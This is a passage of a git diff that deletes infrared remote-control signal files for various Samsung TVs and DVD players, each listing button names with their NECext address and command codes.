parsed -protocol: NECext -address: 05 05 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 11 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 13 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 14 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 15 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 17 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 18 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 19 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1E 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 22 00 00 00 -# -name: KEY_VCR -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 28 00 00 00 -# -name: mark/search -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2D 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 31 00 00 00 -# -name: progressive/speed -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3A 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3D 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 43 00 00 00 -# -name: angle/timer -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 45 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 48 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 55 00 00 00 -# -name: input_sel -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 59 00 00 00 -# -name: disc_menu -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 60 00 00 00 -# -name: mode/repeat -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 66 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 68 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00054d/102,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00054d/102,0.ir deleted file mode 100644 index 75e981d00..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00054d/102,0.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 22 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 80 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 81 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 82 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 83 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 84 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 85 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 86 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 87 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 88 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 89 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8B 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8C 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8F 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 90 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 91 00 00 00 -# -name: disc_menu -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 94 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 95 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 97 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 98 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 99 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9B 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9D 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9E 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A0 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A1 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A2 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A4 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A6 00 00 00 -# -name: hdmi_sel -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A8 00 00 00 -# -name: i.replay -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AA 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AC 00 00 00 -# -name: i.skip -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AE 00 00 00 -# -name: ez_view -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00056A/102,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00056A/102,0.ir deleted file mode 100644 index 0db88f3f5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00056A/102,0.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 80 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 81 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 82 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 83 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 84 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 85 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 86 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 87 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 88 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 89 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8B 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8C 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8E 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8F 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 90 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 91 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 92 00 00 00 -# -name: TopMenu -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 93 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 94 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 95 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 97 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 98 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 99 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9B 00 00 00 -# -name: RW -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9D 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9E 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9F 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A0 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A1 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A2 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A4 00 00 00 -# -name: Step -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A6 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A7 00 00 00 -# -name: Repeat_A-B -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A8 00 00 00 -# -name: BookMark -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A9 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AA 00 00 00 -# -name: KEY_3D -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir deleted file mode 100644 index 696f6c95d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: tv/video -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: pre-ch -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 13 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: +100 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 23 00 00 00 -# -name: p.std -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 28 00 00 00 -# -name: ch.scan -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 31 00 00 00 -# -name: surf -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 3D 00 00 00 -# -name: turbo -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 65 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00092M/102,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00092M/102,0.ir deleted file mode 100644 index 46e7cad8a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00092M/102,0.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 80 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 81 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 82 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 83 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 84 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 85 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 86 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 87 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 88 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 89 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8B 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8C 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8E 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8F 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 90 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 91 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 92 00 00 00 -# -name: top_menu -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 93 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 94 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 95 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 97 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 98 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 99 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9B 00 00 00 -# -name: search_back -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9D 00 00 00 -# -name: search_forward -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9E 00 00 00 -# -name: skip_back -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A0 00 00 00 -# -name: skip_forward -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A1 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A2 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A4 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A6 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A7 00 00 00 -# -name: repeat_AB -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A8 00 00 00 -# -name: bookmark -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A9 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AA 00 00 00 -# -name: KEY_3D -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AB 00 00 00 -# -name: i.replay -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AD 00 00 00 -# -name: digest -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AE 00 00 00 -# -name: s.fit -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00092b/102,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00092b/102,0.ir deleted file mode 100644 index 4f0553df0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00092b/102,0.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 80 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 81 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 82 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 83 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 84 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 85 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 86 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 87 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 88 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 89 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8B 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8C 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8E 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8F 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 90 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 91 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 92 00 00 00 -# -name: top_menu -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 93 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 94 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 95 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 97 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 98 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 99 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9B 00 00 00 -# -name: search_back -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9D 00 00 00 -# -name: search_forward -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9E 00 00 00 -# -name: skip_back -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A0 00 00 00 -# -name: skip_forward -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A1 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A2 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A4 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A6 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A7 00 00 00 -# -name: repeat_a-b -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A8 00 00 00 -# -name: bookmark -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A9 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AA 00 00 00 -# -name: KEY_3d -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AB 00 00 00 -# -name: volcon -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AD 00 00 00 -# -name: digest -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AE 00 00 00 -# -name: s.fit -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir deleted file mode 100644 index ca6ecb8b1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: P.STD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1B 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 23 00 00 00 -# -name: P.Size -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir deleted file mode 100644 index 875610fb8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: s.mode -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 00 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: turbo -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 13 00 00 00 -# -name: s.menu -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 14 00 00 00 -# -name: s.std -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 15 00 00 00 -# -name: p.std -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1B 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 23 00 00 00 -# -name: ttx/mix -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2C 00 00 00 -# -name: p.size -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir 